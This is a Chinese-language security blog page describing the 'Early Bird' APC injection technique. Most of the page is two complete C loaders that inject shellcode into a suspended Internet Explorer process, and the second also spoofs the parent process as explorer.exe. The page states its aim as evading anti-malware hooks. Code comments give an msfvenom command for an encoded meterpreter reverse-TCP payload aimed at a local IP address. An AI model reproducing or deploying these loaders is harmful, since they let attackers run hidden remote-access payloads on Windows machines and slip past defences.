idiotc4t's blog
搜索文档…
GitBook 提供支持
Early Bird

Early Bird简介

Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息。
线程初始化时调用NtTestAlert:
执行参考:

Early Bird流程

    1.
    创建一个挂起的进程(通常是windows的合法进程)
    2.
    在挂起的进程内申请一块可读可写可执行的内存空间
    3.
    往申请的空间内写入shellcode
    4.
    将APC插入到该进程的主线程
    5.
    恢复挂起进程的线程

代码实现

1
#include <stdio.h>
2
#include <windows.h>
3
//msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.106 EXITFUNC=thread -f
4
unsigned char shellcode[] = "";
5
int main() {
6
STARTUPINFO si = {0};
7
PROCESS_INFORMATION pi = {0};
8
si.cb = sizeof(STARTUPINFO);
9
10
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
11
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
12
WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
13
QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
14
ResumeThread(pi.hThread);
15
CloseHandle(pi.hThread);
16
17
return 0;
18
}
Copied!

配合FakePPID和FakeCurrentDirectory使用

1
#include <stdio.h>
2
#include <windows.h>
3
#include <TlHelp32.h>
4
5
6
DWORD FindExplorerPID() {
7
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
8
PROCESSENTRY32 process = { 0 };
9
process.dwSize = sizeof(process);
10
11
if (Process32First(snapshot, &process)) {
12
do {
13
if (!wcscmp(process.szExeFile, L"explorer.exe"))
14
break;
15
} while (Process32Next(snapshot, &process));
16
}
17
18
CloseHandle(snapshot);
19
return process.th32ProcessID;
20
}
21
22
int main() {
23
24
//msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.106 EXITFUNC=thread -f
25
unsigned char shellcode[] = ("");
26
27
28
STARTUPINFOEXA siex;
29
PROCESS_INFORMATION piex;
30
SIZE_T sizeT;
31
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
32
33
SetCurrentDirectoryA("C:\\Program Files\\internet explorer\\");
34
35
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
36
37
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
38
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
39
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
40
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);
41
42
43
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);
44
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
45
WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
46
QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
47
ResumeThread(piex.hThread);
48
CloseHandle(piex.hThread);
49
50
return 0;
51
}
Copied!

LINKS

New ‘Early Bird’ Code Injection Technique
Information Security Newspaper | Hacking News
5.用户APC执行过程_My classmates-CSDN博客
最近更新 1yr ago